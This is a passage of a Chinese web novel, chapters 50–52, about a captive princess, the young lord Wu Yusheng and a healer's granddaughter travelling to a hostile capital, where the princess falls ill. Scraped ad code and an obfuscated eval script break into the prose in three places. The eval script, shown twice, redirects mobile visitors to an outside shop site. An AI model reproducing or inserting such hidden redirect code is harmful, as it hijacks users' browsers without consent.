“杜世安说你曾许诺,待你归国,送他十根西洋参与一株百年雪莲。想必以你的本事,定是能回去的。”铁木修笃定道。 说起此事,她便被自己蠢得想笑,竟平白无故失了这般多的珍宝。但朱辞秋面上却不显,只平静道:“以三粒解毒丸换我带她入大雍,未免太不划算。” 铁木修问:“你还想要什么?” “我要外头都不曾听说过的奇毒,最好能顷刻致人死命。七粒。” “小姑娘,你未免太贪了。”铁木修皱起眉头,语气冷淡下来,“七粒毒丸,你可知我要炼制多久?” “三年!整整三年!” 朱辞秋微微一笑,了然道:“如此说来,老先生便是有这么多了?” “若老先生愿给我这七粒毒丸,我便能让西琳见到杜与惟。” 铁木修沉默半晌,十分怀疑地看着她,“此话当真?” 她但笑不语。 良久,铁木修好似不乐意地妥协般说着,“罢了罢了,本也是我有所求,若非如此,即便杜世安那老头子说得再天花乱坠,我都不愿枉费心力治一个外乡人。” “如此便好。”朱辞秋又笑了笑,站起身来朝外走去,又在门口停下来,扭头道,“明日辰时启程回王都,若是迟了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我可不会等她。” “至于我要的药,老先生怎么不问问我,做何用吗?不怕我杀了南夏领主,叫南夏大乱?” “我只是一个闲在此处的孤苦老人,外界纷争,与我何干?霞山谷从不过问外界事,若非是他——”铁木修好似不喜欢乌图勒,连名字都不愿提起,只道,“天神山内也不会有这些乱七八糟的事。一些装腔作势的家伙,死了便死了吧。或许南夏没有他,族人才会活得更好。” “老先生果然大义。”她微微颔首,离开了此地。 木屋内只有一间空余的房间,乌玉胜正在换纱布时,朱辞秋一把推开了门。 木床在门的左侧,屋内太小,叫她一眼便看见了早已见过的健硕身躯,却仍是不自觉地愣在原地一瞬。 她确实也未曾想到,乌玉胜会在此刻换药。该因这外头的门并未关严,她以为屋内无人,即便有人,也不会有这样的事情发生。 毕竟,谁脱光了还不关门呢? 除了狗。 朱辞秋反应及时,立马转身,抬步就走。 果不其然,乌玉胜又立马叫住了她,不过这次她却分毫都未曾停留,直接大步跨了出去,将门狠狠一关。 方才那景象,叫她又想起回铁木修住处的路上时,乌玉胜因骑马太快,身上的伤口有些受不住,便找了一处平坦有溪流的地方休息了半日。 走得太急,朱辞秋只在那医药箱中拿了些止血药和纱布,来不及拿更多。 她将纱布与药递给乌玉胜,可乌玉胜却在光天化日,朗朗乾坤之下,脱光了上衣,露出结实的上半身。 带血的纱布缠绕着健硕的身躯,叫她不想再多看一眼。 她闭上眼,将药扔在地上,转身便走。但乌玉胜拉住她,语气缱绻,“战场之上,你曾见过无数伤兵裸露带血的身躯,怎么就不敢看我?” “是心疼我吗?殿下?” “这都是你自找的,我心疼你做甚?”朱辞秋甩开他的手,背对着他,终于睁开了眼。 她看着脚下陌生的土地,右手攥成拳,感受着来自南夏屈辱的痛意。 分明恨整个南夏,却又心底深处的角落中,总喜欢把一个人除外。分明这样是不对的,可就是无法根除,无法将他与南夏众人相提并论。 不能这样的,不能这样的。她总告诫自己。 “我明白的。” 那个与南夏格格不入的男人,在她身后,忽然冷静又温和地说着,“我明白的,殿下。” 就先这样吧,她想。 她现在不想再去思索他们之间的事情,只想找到破局之法,安然无恙又风光无限地回到大雍。 “殿下,在想什么?” 乌玉胜突然打开了门,看见站在台阶上,望着远处嬉笑的小孩若有所思的朱辞秋。 “我在想,”朱辞秋并未收回视线,淡淡道,“不必在此过夜了,现下便走。越快回去越好。” “殿下是不想与我同睡一间房,还是想早日见到顾霜昶?” 乌玉胜站在她身旁,周身收敛几日的阴鸷煞气又开始肆虐,她不用扭头都能知道,他如今脸上是何种表情。 不过他确实都说对了。 但她口里却说:“不,我只是想学飞去来器了。” 50.第五十话 大雍春末夏初的风总会带着些盛夏将来的温热之意,但南夏却不同。 南夏地大,多高山平原。霞山谷被连绵的雪山包围,即使是盛夏,也唯有午时稍热些。是以如今这时节,有风刮过时,也带着些冷飕飕,叫穿得单薄的人扔忍不住打个哆嗦。 朱辞秋就是那个穿得单薄的人。她未等乌玉胜回答,便双手抱着胳膊,让自己身上暖和些,迎着风往台阶下走,又走到不远处的马厩前,那正吃着草的白玉跟前,先是抬眼看了看天上挂着的太阳,又伸手摸了摸白玉的脑袋。 白玉也不怕她,任由她摸。 “殿下为何对飞去来器有如此大的兴趣?” 乌玉胜跟在她身后,缓缓开口问了一句。 朱辞秋站在阳光之下,影子落在身后,好似与乌玉胜的影子交叠在一起。她仰起头,又将手搭在额头上,挡住了刺眼的光线,“你其实从未真的教会我什么,每次匆匆来又匆匆去。现如今尚有一段闲暇时日,何不将口头承诺变作现实一次呢?” 她扭头看向乌玉胜,粲然一笑,用中原话说出一句:“你说对吧,少主大人?” 穿着异域服饰的中原公主,头发只草草的用发绳扎着。虽无华服珠翠,也不曾施粉黛,可只要脸上露出些微真切笑意,仍旧明艳动人。 乌玉胜却不回答,只解下身上外套,披在她身上,“我早就想这般做了,只不过怕殿下嫌弃我。” 朱辞秋拢了拢披在身上的衣衫,皂角香混着些微的血腥气,叫她微微皱眉,却又在听见乌玉胜的话后嗤笑一声:“几日前那般胡作非为,如今倒怕我嫌弃了?” “正因如此,才不敢再惹殿下不快。”乌玉胜垂眸,见她将衣裳披好后退了一步,抬眼看向她,道,“这次,我不会食言。” “既是如此,趁着现下时辰尚且不晚,”她用下巴点了点吃饱喝足的白玉,“它吃饱了。你我吃饱了也该启程了。” 铁木修在屋子里把大炉子底下的炭火铲了许多出来,又在炭盆中放上新的木炭,将铁网架固定在烧着的炭火上。 西琳端着好几盘新鲜的肉与蔬菜,将它们搁在一旁的小木架上,又递给朱辞秋与乌玉胜碗筷。 肉片放在铁网架上,被炭火烤的发出滋滋声,很快便熟了。乌玉胜给她夹了一片烤好的肉,她垂眸盯着碗中的肉犹豫片刻,还是动了筷。 熟透的肉只撒上了盐巴,不算好吃,也不算难吃。是以,乌玉胜给她挑几片,她便吃了几片。 待她将碗筷放下后,乌玉胜便不再给她挑肉,却将一旁的蔬菜摊开,在里头放了一小片熟肉,递给了她,道:“殿下,最后一口。” 她微微蹙眉,“少主自己吃吧。” 乌玉胜仍举着蔬菜包着的肉卷,说道:“这样可解口中腻味。” 朱辞秋并未吃多少,也并不觉得这样的饭菜有何腻味,便看了乌玉胜一眼,不伸手接过也不说话。 她正欲起身时,铁木修一把夺过了乌玉胜手中的肉卷,哼哼道:“你家殿下不喜欢吃,老头子我喜欢吃。你多卷些,多卷些!” “阿爷,给。”一直闷声吃饭的西琳忽然卷了三四个肉卷放在铁木修面前的盘子里,“不够我再给你卷,别去抢少主的。” 朱辞秋看了眼西琳。 西琳好似不觉,只挑起一块肉,说出下文:“阿爷若误了他在殿下面前献殷勤,他可是会记恨你的。” “就他?他还记恨我来了?”铁木修对此嗤之以鼻,不屑道,“且不论我替他研制了解药,就论他在我这混吃混喝,还用我厨房里的东西做糕饼吃,这些我对他可都是分文不收的。如此说来,合该我记恨他才是!” “糕饼?”朱辞秋扭头看了一眼乌玉胜,想起回程路上,被他宝贝似的揣在怀中的酥饼。 乌玉胜亦抬头看向她,手中碗筷停滞在原地,眼中似有闪躲,又似有期盼。 没有碎掉的、完好无损的酥饼,原来是乌玉胜亲手做的。 那日在面铺吃的碎成渣的桃花酥饼,想来也是乌玉胜做的了。 在南夏,是没有酥饼卖的。 “没想到少主一双练枪剑的手,竟也会下厨房,做些精细活。”她笑了下,嘴角弧度却并不深,笑意也不达眼底。 言罢,便不想再留在此地。 出了院子大门,便见周遭人并不多,只零零星星的几个,就连饭前见过的几名在小溪流旁玩耍的小孩儿们都已不见人影。 想来是归家吃饭去了吧。 对面不远,只隔了一条宽敞大路,她走过分散的木屋与草地上正吃草的羊群,坐在溪流旁的石堆上,拾起一颗小石子儿,将它扔进溪流中。 因为石子儿的摔落,让潺潺流动的溪流泛起层层涟漪,又归于平静。 就像是她的心。 又望向溪流对面,看见的是天墙一般高的山坡,坡上有着无数牛羊,偶尔会发出一阵阵低沉的叫声。 阳光将溪流照得波光粼粼,潺潺流水声不绝于耳,她看着溪流旁被堆起来立着的小石堆,不发一言。 她曾在穆照盈的游记中看见过这样的描述,蜀地有高原,高原上有奇怪的部落族,他们将石头堆砌成小山的形状,被称作神堆。 只是未曾想,南夏也会有这样的习俗。 游记上潦草画了两笔的石堆,面前垒成的小石碓,就像是虽然被高山阻断的天地,被国界划开的两国百姓,却仍有同出一脉的人们。 他们隔着山川湖海,坚守着一样的信仰。 即使江河山川变幻无穷,仍不改同根同源。 她就这样看着石碓,也不知道看了多久。 直到听见一直远远跟在她身后的脚步声,缓缓逼近。 “殿下。” 乌玉胜始终跟在她身后,“行囊已准备妥当,随时可启程。” 朱辞秋站起身,又望了一眼石堆,便再不回头地越过乌玉胜,朝来时之路走去。 西琳背着包袱,身形挺立,腰间佩着一把镶嵌着红宝石的弯刀。铁木修手中举着一壶酒,仰头喝了两口,又凑到西琳说了好几句悄悄话,西琳也只是闷闷地点了点头。 这模样,倒是跟阿静雅有些像。 乌玉胜不知从哪拿出来的帷帽,将其小心翼翼地戴在她头上后站在她身旁,轻声道:“路上风沙迷眼,殿下还是戴上为好。” 她闻言未曾说话,只是隔着帽纱看向铁木修,见铁木修指了指西琳的包袱,便微微欠身,朝他行了一礼。 “殿下。”乌玉胜忽然拉住她的手,“解药。” 她瞥了一眼乌玉胜,却未甩开他的手,只是淡淡道:“少主尽可放心,我不会自寻死路。” 来时觉得此路难行险阻,回程时却觉得此路也无甚大不了的,没了诃仁在身旁插科打诨,三人也都是少言寡语之人,自然归途也比来时用时稍快些。 期间西琳倒是也问过诃仁如今怎么还不归来,乌玉胜也只是冷笑一声,说他在尽孝。 王都离巫族境地尚远,骑马也得一个月。乌玉胜早在巫族混了个脸熟,三人便在巫族略微休整一番。 趁乌玉胜出去时,西琳将行囊中的药盒给了她,里头还有铁木修的几行小字,她略看几眼,见写的只不过是如何用毒之类的话,便叠好收在盒内。 她没有包袱,只好拿出将装着三粒解药的瓶子放在自己怀中,余下毒药皆放在盒中,将它重新递给了西琳。 西琳有些不解:“你这是?” 朱辞秋微微一笑:“老先生研好解药救我一命,我也愿信你。我想请你,替我保管好它。” 西琳沉默须臾,到底是接过了盒子。 待三人休息够临走时,乌玉胜却只要了一匹快马,他自有坐骑,可朱辞秋却没有。 她暗自咬了咬牙,正欲朝西琳的马过去时,却被乌玉胜拉住手腕,搂住腰,强行抱她上了他自己的坐骑。 西琳早已习惯,冷漠地喊了一声:“走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938098|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后便头也不回的驾马而去。 走过巫族境地,出了云杉林,又入草原。 草原的草亦长得很茂盛了,连绵无垠的青绿草原,只偶尔得见几处毡包和四处分散的牛羊,赶着牛羊的牧民见着飞驰而过的三人也会停下来观望一番,待马蹄声远去后便又开始干自己的活路。 “先去杜与惟的木屋。”朱辞秋见眼前早已撤离干净的王帐之地,忽然道。 乌玉胜皱了下眉,闷闷地“嗯”了一声后便调转马头,朝恶岭奔去。 西琳不发一言,沉默地跟在二人身后。 果不其然,温暖的木屋早已被人毁坏,只余残破的屋架子在原地,阴天的风一吹过,更显萧条。 “这便是我见到杜与惟之地,如今人去楼空,我也不知他身在何处。”乌玉胜并不让朱辞秋下马,她只好坐在马上,扭头看向翻身下马查探一番归来,沉默不语的西琳。 “大雍使臣入南夏时,山门关大开。”她顿了顿,“若他做完了自己的事,想必在那时便已回了大雍。” 乌玉胜不知为何皱着眉,冷声道:“他师父在云岭山,你可亲自去寻他问。” 话音未落,西琳便翻身上马,看了一眼朱辞秋,露出一丝笑容来,“我就不去叨扰他老人家了。我会去中原找杜与惟,再说,我本就想去中原看一看。殿下只需在回去后,替我查一查杜与惟的下落就好。” 朱辞秋笑了笑,“老先生既然求了我,我自然得好生照看你。”她扭头看向一脸不乐意的乌玉胜,淡淡道,“受人之托,忠人之事。” 乌玉胜冷着脸:“她到不了王都。” 她笑着回答:“王族贵妾,如何到不了?” “自今日起,西琳便是巫族,塞给少主的妾。” “殿下!”乌玉胜拉紧缰绳,有些不可置信。 朱辞秋冷下脸,平淡道:“乌玉胜,别忘了你说过什么。” “殿下,给她换个身份。”乌玉胜周身戾气还未来得及散开便又消失殆尽,只闷闷不乐道。 “没有什么身份,比这个更好进王都的宫门了。”她看向西琳,“你且记好了,你是诃仁送给少主的妾,诃仁叫你勾引少主,好让少主对我断情。” 西琳点了点头,忽然想到什么,便道:“应当是二夫人,在南夏,是没有妻妾之分的。” 两人你一言我一语,便擅自给乌玉胜多添了个新夫人。两位夫人常常交谈,少了初见面时的沉默。只是少主本人,却整日耷拉个脸,并不高兴。 南夏王都并不在草原,而是在一处高原上,南夏人将其称作天神恩赐的王都。只因地势险峻,却又离神山山脉极近,仿佛近在咫尺。雪水化成溪流,滋润了王都,王都的子民也受到天神的庇佑,终生无病无灾。 可这样被人称赞颂扬的王都,在几十年前,也不过是个被荒废的、遗弃的破败之地。 如今也不知是走到了哪里,乌玉胜路过一家农房,率先下了马,又将朱辞秋抱下马,往农房而去。 而朱辞秋此刻脑袋愈发疼痛,双耳也痛的厉害,连呼吸都有些艰难。便也顾不上挣扎,只想缩在乌玉胜怀中,好好睡上一觉。 “少主,这是瘴病。”西琳沉声开口。 “需要你来提醒我?”乌玉胜抱着她,她能感觉到乌玉胜因说话而震动的胸腔,熟悉的味道与怀抱,叫她安心不少。 “分明每日都喂殿下喝了些红景天水,为何还是会得瘴病?” 西琳此时不欲与他拌嘴,只替朱辞秋把了把脉,冷静道:“她体质弱,心中更有郁气难解,加上总是受伤发烧,又总好不彻底。现下她身子都算得上被拖得半垮了,如今又初到高原之地,就算你喂她再多红景天,她也是会得瘴病的。” “阿爷在她解药中放了几味调理身子的药,若吃下去,身子也会好些。可她没吃。” 西琳顿了顿,看向乌玉胜,犹豫一瞬还是开口道:“若是再这般下去,她活不过几年了。” 51.第五十一话 朱辞秋头痛耳鸣难耐,她虽紧闭着眼,可却不聋。自然也能听见西琳说出口的这样的一句话。 她自己的身体自然清楚,在大雍时其实并不算病弱,只是后来受不住边塞的风沙苦寒,每年入冬总要病上一场,无论穿多少狐皮大氅,都无济于事。 入南夏后,那些御寒冬衣虽有穿在身上,可与她来讲,也不太御寒。 她不能马上适应南夏,但南夏却恶事频出,叫她无法好生休养每一次受的伤。她顾不得疼痛,只想往前走,饶是撑不下去了,也掐着手咬着牙走了下去。 在霞山谷的这段日子,她也并未觉着身体有何不适,就如往常一般。只是突然又跋山涉水,入了从未踏足过的高原之地。 总归是人,总有病倒的一天。于是她身体里那些被压住的恶疾便依着得了瘴气的由头一下子全都迸发出来,叫她如今面色惨白,连话都说不动一句。 乌玉胜的呼吸明显急促几分,连心跳都加快不少。他抱着她的双手有些颤抖,却极力遏制住自己,好似是不让自己因心中突如其来的阵痛而软了力气。 连声音都颤抖着,像是忍着剧痛,又像是追悔莫及,“可有……根治之法?” 西琳推开木门,深深地看了一眼乌玉胜,微微摇头,“心中郁气难解,只能以药物辅佐,主要还是得靠她自己。而身上积久的伤病与体寒,已成病根,无法根治。若想多活几年,便只能在一处四季常春之地,以药膳静养。” 屋内阴冷潮湿,叫她忍不住打了个哆嗦,乌玉胜便把她抱的更紧。 朱辞秋勉强有了些力气,睁开眼左右略微看了几下,见着室内陈设似乎是乌玉胜的喜好。 毕竟在南夏,也就只有他会用床幔了。 她记得,先前从娜木寒身旁的侍女阿日娜口中得知,乌玉胜另有一间住所,叫做别居。 西琳坐在火炉旁,点燃了柴火,乌玉胜往一处墙角指了指,西琳便找到些木炭,将它们一并烧在里头。 屋子里这才稍微有了些热气。 床榻上的褥子是齐全的,乌玉胜将她轻轻放在床上,又给她盖好了被子。 被子是新的,闻不见什么味道。 乌玉胜不知从哪拿出来的一个火盆子,将烧好的木炭放在里头,端至床榻前,又将身上的外套搭在她身上,连同被子一起将她紧紧裹住。 “殿下,可暖和些了?” 他声音沉闷,又带着些沙哑。放在床沿的手蜷缩着,想要伸手触碰她,却又停滞住不敢再往前。 朱辞秋头疼得很,连身上也酸痛不已。轻轻掀起眼皮都觉得疼,不想思考更多,便只抬眼略看了满脸悔恨悲切的乌玉胜一眼。 分明是不带着任何情绪的,只是简单的叫他明白,她现下并不冷的一个眼神。却让坐在面前低迷的男人愣神片刻,眼眶瞬间猩红。 他不敢再多待,转身朝门外走。又顿在原地,声音骤冷,背对着西琳道:“仔细给殿下把脉。笔墨在书案上,只管写最好的最管用的药方出来。” 言罢,便夺门而去,却也不忘将门关严实。 西琳走至床边,又给她把了把脉,微叹一口气,轻声道:“殿下若再不仔细调理,便更要亏空治不回来了。少主此番知晓此事,想来什么珍奇名药都会替你寻来,只是——” 朱辞秋瞥了西琳一眼,后者便继续道:“只是药材再好再名贵,诸事烦心又波折不断的话,也是难以调理好身子的。” “你吃了回转丹,即使每月按时吃了解药,但那毒性也始终太烈。是以……如今……你已、再难有孕了。若再调理不好,无法生育……也是有可能的。” 西琳一面说着话一面不动声色地观察着她的神色,似乎生怕她会因此而难过。 可她那么讨厌小孩子,怎么会因生不出孩子而难过。 见她却无伤心难过之意,西琳这才又道:“你先好好睡一会儿,我去熬些缓解瘴气的药汤,再施以针灸,瘴气之症便能缓解几分。” 朱辞秋本也想闭上眼略微休息会儿,可奈何身上太痛,痛的她难受,呼吸都有些不畅,连觉都睡不安稳。 迷迷糊糊间,她感觉到有人坐在她身旁,将身上盖着的被子往里掖了掖。 似乎又听见坐在她身旁的那人哽咽着声音,一遍又一遍地说着:“对不起。” “我不该不与殿下摊明一切,不该与殿下置气,不该将殿下擅自带入南夏,也不该在殿下最需要我之时不见踪影,更不该留殿下一人在此受尽磨难。” “我只要殿下长命百岁,安乐无忧。” “为此我愿上刀山下火海,死一万次。” “……” 他说了许多,但她再听不清了。 再清醒时,朱辞秋浑身上下都扎着针,动弹不得一点。但身上却不似开始那般疼痛,耳鸣头痛也减轻不少,脑子自然也清醒了许多。 她好似睡了许久,屋内都已点上了烛火。 只见西琳用木勺扒拉着火炉上的罐子里的吃食,见她醒来后便立马放下手中物件,走至她身旁,朝她问道:“殿下感觉如何?” 话音未落,便见门“吱呀”一声,乌玉胜慌张又急切地朝她而来,却又在离她一步之距时,止住脚步,满眼愧疚心疼的看着她,几欲张口,却说不出一个字来。 朱辞秋亦看了乌玉胜一眼,并未说话,只又看向西琳,说话也不再觉得费力难以开喉,只跟西琳道:“好多了。” 又顿了顿,说了一句:“多谢你了。” “不必。”西琳笑了下,抬手指了指她身上的针,“莫要乱动,半个时辰后我再取针。” “少主呆站着做什么?别挡了我的道。”西琳转身摆了摆手,坐回原位用木勺搅弄着罐子里的东西。 乌玉胜仍呆站在原地,眼神一刻都不愿离开她。 不知为何,她被看得有些心烦,便索性闭上眼假寐。 过一会儿,他忽然走上前,半跪在地上,弯着腰在她耳侧低声道:“我不会再叫殿下受一丝一毫的伤。” 朱辞秋睁开眼,沉默不言。 看清了乌玉胜通红的眼眸中交织的痛苦,也看清面前这个在她面前喜欢下跪的男人的悔恨神色,心中像是突然被挖空一般猛地一颤,意外的竟让她有些难受。 不过只一瞬,便又恢复原样。 “又不是真要死了。”她不屑一顾,“我说过不会自寻死路的,少主倒也不必如此。” 她这样说着,乌玉胜眼底的心疼更甚一份。 就好像只要一见着她这副模样,心中便似万千蚂蚁爬过心肺,留下一个又一个密密麻麻细小的血窟窿。血浓汁水流向全身,堵在咽喉间,叫人喘不过来气。 “殿下,你会长命百岁。” “那便借少主吉言。” 屋内一片寂静,唯有柴火燃烧的声音都细微可闻。 良久,乌玉胜站起身,抬了个凳子坐在她床边。她闭着眼,也仍能感受到那道自身旁而来的炙热的视线,实在叫人无法忽视。 半个时辰后,西琳将针取下,扶她坐了起来,问道:“可有不适?” 朱辞秋微微摇头,“比半个时辰前还要略好些。” 西琳这才点头,又从罐子中盛了一碗粥,递给乌玉胜,“喂你家殿下吃吧。她如今手脚乏力,尚没有力气进食。” 滚烫的粥冒着热气,香味随着热气飘在空中。 乌玉胜端着碗,用勺儿舀了一点热粥,轻吹了两下,待热粥不再烫口,便递向朱辞秋。 又轻声道:“山药莲子粥,殿下从前常喝。” 朱辞秋抬手,想自行拿过羹勺,却始终使不上力,只好妥协,由着乌玉胜喂她。 异国木屋中的山药莲子粥,味道自然远不如公主府。 她吃下一粒莲子,觉得味道有些怪,便抬眼看了看碗内剩下的几粒莲子。煮熟浸在汤粥内的莲子,不像是新鲜的,倒像是陈年的莲子干。 于是故意问道:“如今时节,哪里有什么莲子?” 乌玉胜一点儿一点儿的喂着,骤然听见她这般说,手上的动作一顿,神情多了些不自然。 见着面前男人脸上的神情,她挑了挑眉,继续问道:“况且南夏从不产莲子。难不成少主是两三个时辰能跑三千里,能将莲子从江南买来的神仙不成?” 西琳坐在火炉旁叠好针袋,听见这话也忍不住笑出声来。 “去岁除夕,我丢了罐顾霜昶从燕京送来的莲子干,翻遍营帐都寻不到踪迹。”朱辞秋勾唇,“倒是莫名多了盒雪参出来。” “西琳姑娘,你说这事儿怪不怪?” “是挺怪的。”西琳点头,忍着笑意回答。 乌玉胜眉头皱着,手指暗自用力地扣着碗沿。他脸色阴沉的扭头看向西琳,冷笑一声:“你如今倒与殿下话语投机。” 西琳可不怕他,只道:“你待如何?” 乌玉胜不再与她斗嘴,只冷哼一声。回过头却瞧见朱辞秋的面容仍旧苍白,连说笑的嘴唇都白的如同纸一般,便软了语气,愈发轻声道:“雪参可比那不新鲜的莲子干值钱多了。” “这么说,我倒是赚了?” 她坐在床上,乌黑的头发散在肩头,眉眼间是散不开的病弱气郁,连语气也比素日温和几分。 “殿下自然赚了。那是我从——” “少主!少主!少主!” 乌玉胜话还未说完,屋外便猛然响起一阵急促又慌张的声音,屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952371|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内安然祥和的氛围即刻便被打破。 她与西琳同时望向紧闭的木门,乌玉胜手一顿,神情瞬间变得不耐,沉默须臾后还是放下碗,叫西琳照看好她后便将木门打开一条缝,走出门后又重新合上门。 约莫一刻钟后,乌玉胜面色阴沉的推开了门,“乌图勒派了亲卫车撵,来接殿下入王宫。” 朱辞秋看了一眼门外,又看向乌玉胜,平静道:“他们到了?” “还未。还需一炷香。”乌玉胜话语一顿,又缓缓道,“殿下不必理会,我自会处理。” “不,我要去。”她抬眼,笑了笑,分明尚在病中,却仍有不容人拒绝的威严,“他要见我,我自然得去。” 乌玉胜愣了下,反应过来后便立刻拿起书案上的小药瓶,将它揣入怀中后又从柜里翻出一件玄色大氅来。 他将大氅披在朱辞秋身上,扶着她穿好鞋袜站起身,又将大氅系紧了,把大氅自带着的毛帽子给她戴上 “高原之上比不得大雍。夜间寒冷,殿下多穿些。”他双手轻轻拉着帽沿,站在她面前缓缓开口,“我陪殿下去。往后我都会陪着殿下。” “乌玉胜,你不该如此。”朱辞秋动了动胳膊,发现不再无力后便抬手拍开乌玉胜的手。她往后退了一步,继续道,“你该带着西琳回少主府。” “我不要。” 朱辞秋倒是极少听见乌玉胜用如此执拗的语气拒绝她,不由得怔了下。 “大雍使团来访,如今被扣在王宫内月余。乌图勒此番得知殿下归来,必定是想叫殿下去见见使团。”乌玉胜上前一步,“有我陪着殿下去,好叫旁的人不敢再折辱殿下。” “乌图勒要生疑便叫他生疑,他如今尚且奈何不了我。” “不行。”朱辞秋仍旧拒绝,因着声音太急了些便不自主地猛地咳嗽两声,眼角都咳出了些泪光。 乌玉胜见状,赶忙上前,小心翼翼地扶着她,连重话都不敢再多说一句,只道:“殿下莫恼,当心身子。” 西琳大约是瞧着气氛愈发僵持不下,便开口道:“别再纠结此事了,他们快来了。” “我如今还未病到需少主贴身护着我的地步。”朱辞秋看了眼门外,挣脱开乌玉胜的手,淡淡开口。 她掀起眼皮瞥了一眼乌玉胜,“还是少主觉得,你那些眼线是吃素的?连我在宫内的消息都打探不到?” 南夏的王宫自然也如大雍一般森严,群臣非召不得入。这也是乌玉胜为何如此执拗地想要陪她入内的原因。 “我只是怕,怕殿下危急之时无法立刻到殿下身侧,怕殿下又添新伤。”乌玉胜垂眸,嗓音有些沙哑。 “我自己的身体,自己最清楚不过。”她越过乌玉胜,站在半掩着的门口,摘下方才乌玉胜给她戴好的帽子,脱下了穿戴好的大氅。 高原上,夜间的风吹着实在有些冷。 听见身后熟悉急促的脚步声,宽大的手夺过大氅,眼看就又要披在她身上。 她扭头冷眼看向男人,漠然道:“若真想让我好,便莫要阻我。一切照我所说行事。” 外头整齐划一的马蹄声愈来愈近,火把聚集的光亮照亮了木屋外的地界。 方才喊着少主的那名男子又敲了敲木门,却在抬眼欲报乌玉胜间,看见了屋内的景象,于是赶忙往外侧了一步,垂首低声道:“禀少主,他们到了。” 朱辞秋顾不得使脾气的乌玉胜,叫站在她身旁的西琳侧耳过来,在她耳侧密语几句后便理了理身上有些褶皱的衣衫,往外走去。 乌玉胜却又突然拉住她的胳膊,将怀中的药瓶塞入她手中,“养身丸,每日午饭后吃一粒。” “怀宁殿下——” 陌生的声音穿透风声黑夜,传入她耳中。 她又回头看了一眼乌玉胜,然后便握紧药瓶收入袖口之中,又用另一只手摸了摸腰封后的匕首。 那是阿静雅给她的匕首,她说过要还给她,不能带入王宫被搜走。 于是便将它取了出来,放入西琳手中。 做完一切后,她缓步走了出去。 挂着乌图勒亲卫腰牌的守卫列成两队,手中举着火把。借着火把的光,她看清了中间有一队骑着马的,大约十来人,他们又将中间的车撵围住。 “怀宁殿下叫我好等,真是十足的公主气派。” “领主特命我以大雍之礼亲迎殿下入宫。殿下,请吧。” 为首的身骑高马,手中拿着马鞭,并不恭敬的说着。 朱辞秋不在意他们的态度,只平淡的笑了笑。 轿撵有些透风,吹的她有些头疼,只好靠着墙,用手扶住额头,闭眼假寐。 亲兵速度很快,天未亮便已到了王宫大门。 52.第五十二话 朱辞秋下了轿,站在门口,面对着紧闭的宫门,忽然扭头看了一眼身后。 王宫在这座王城的最高处,百层台阶将金碧辉煌的宫殿抬起,好像要与天齐高。从此处眺望,能看清远方的雪山,亦能看清脚下纵横交错偌大的王城。 面朝东方,朝阳自远处雪山而来,金黄色的光铺满整座雪山,连绵成片又洒在王城下。 忽然两旁的守卫齐齐高喊了一声:“开!” 朱辞秋回过头,见沉重的大门缓缓打开,露出王宫的一角。狭长的宫道两边,各站着一排身穿轻甲的守卫。 而宫门口,则有五名挂着亲卫腰牌的带刀亲卫,他们朝她身旁的男人行了南夏礼,又有两人走到她面前,一人面无表情地对两旁守卫道:“搜身。” 然后便有两名守卫举着未出鞘的狼刀猛地在她身上拍打几下。他们只是随意地扫过袖口,是以紧袖中的药瓶并未被发现。 见她身上未曾携带什么武器后,对面的守卫让开了路,她身旁高大的男人微微颔首,又朝后摆手,便又有几名守卫站在她两旁,而那高大的男人站在她面前引路。 天微亮,朱辞秋踏入了南夏的王宫。 刚入宫门,身后的大门便猛然关上。沉闷的关门声、两旁庄严肃立的士兵、与大雍极其相似的宫殿,一眼望不到头的、被高大宫墙包围着的唯一道路,都叫她不自觉警惕起来。 从宫门到主殿,大约半个时辰。 朱辞秋抬头看去,见主殿正门上,挂着以金箔写成的一串南夏字的牌匾。 “拉康达神殿。”她轻声念出牌匾上的字,果然又带了神字。不过她虽然看得懂南夏字,却对这些奇怪的南夏字组成的文字寓意不太了解。 她是根据南夏字直译出的中原字。 就好比阿静雅、西琳,这些都是直译而出,所以她并不明白这些名字的含义。 可乌玉胜这三个字,她却十分明白。 那可是乌图勒以中原字给他取的名字。 所以即便是在未看穆照盈的游记之前,她也明白他的名字含义。 玉,在南夏话中本被称格雨。而胜,则作罗赞。至于乌字,她想,那只不过是乌图勒学着中原人,强行冠在他名字上的姓罢了。甚至就连乌玉阙这样的名字,都是如此而来。 即便她识得这样的含义,可玉胜二字若以南夏话读出来的仍旧是格雨罗赞。但她一直喜欢对他讲中原话,所以甚少用南夏话读过他的名字。 “怀宁殿下就在此等候领主召见,莫要乱走乱看,不然,这王宫内的暗卫可不会留情。” 带她来此的守卫说完这句话后便转身离去,不再停留。她就这样一个人站在拉康达神殿的正下方,一直站到太阳升起,阳光驱散了雾气,乌图勒还是没有见她。 她的头越来越晕,耳中像是随时会流出血般疼痛,连身上都不自觉地冒着冷汗。好像西琳口中的瘴气之症又再度出现,叫她站在此处愈发不适。 不知过了多久,久到整座王城都苏醒过来,无数奴婢侍卫从旁路过,偶有几名部落首领入殿出殿,朱辞秋仍然站在原地,只要动一步,便会有不知从何处射来的暗箭射在她脚下,让她寸步不能动。 